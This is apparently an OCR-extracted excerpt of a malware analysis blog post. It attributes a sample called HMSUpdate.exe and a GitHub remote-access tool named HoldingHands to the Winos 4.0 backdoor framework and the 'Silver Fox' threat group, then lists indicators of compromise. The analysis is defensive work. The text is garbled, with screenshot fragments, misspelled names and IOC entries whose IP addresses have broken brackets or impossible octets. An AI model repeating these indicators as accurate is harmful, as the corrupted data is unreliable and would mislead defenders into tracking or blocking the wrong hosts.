2025-06-06 [T Kl HMSUpdate.exe

349b40f6d8d1b3

wxiang / HoldingHa

Il Pull requests (C ions {53 ) Security |~ Insights

remote desktop module

and H264, thy

smooth, and yol L

adjust resolutiot pertorm remote
Ny cormen control, The project code is limited to
[ .gitignore learning and communication pur
(3 ALLsln

[ readme.md

ats_this.md

— We also find a Remote Access tool with the same name we found in the PDB. There’s also a chineese version
of this same tool. The observation that “ HoldingHands ” might function as a backdoor aligns with the
characteristics of Chinese cybercrime, a categorization further supported by the malware’s certificate and the C2

being associated with Winos 4.0. This is likely a work of a Chinese Threat Actor.

— Winos 4.0 is a memory-resident backdoor framework used in recent Chinese-language espionage campaigns.
Multiple security firms have tied Winos 4.0 to a China-linked APT sometimes called “Silver Fox”. In an article

from Rapid?7 this has been confirmed and we found many more places that tied Winos to the Silver Fox group.
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In previous incidents, Winos 4.0 has been linked to the Silver Fox APT group
operation = known for distributing malware like ValleyRAT via trojanized utilities and
vulnerability exploitation. Notably, similar TTPs were observed in the CleverSoar
campaign described by Rapid7 in November 2024 which also delivered Winos4.0
and checked system locale settings for Chinese or Vietnamese—suggesting

targeting based on regional language.

I0Cs
1 BEHERENH IS E . exe
2 78dc343febf5d3140c9624c889148ecd
3 Dropped from
4 hxxps[:1//jppjpl.]vip/index[.lhtml
5 154[.1205[.]139[.]223
6 38[.]54[.]107[.]1103
7 38[.154[.]150[.]212
8
9 244 .exe
10 0b6318af44ad2e434d7cfce95e8eeba2357c226355478abcfdfbed64d9e5e467
11 206[.]238.221[.]244
12 107[.]1149.253[.]1183
13

Thanks for reading this analysis! 4
Feel free to connect with me on:
Discord: somedieyoungzz

Twitter: @IdaNotPro

Source: https://somedieyoungzz.github.io/posts/silver-fox/
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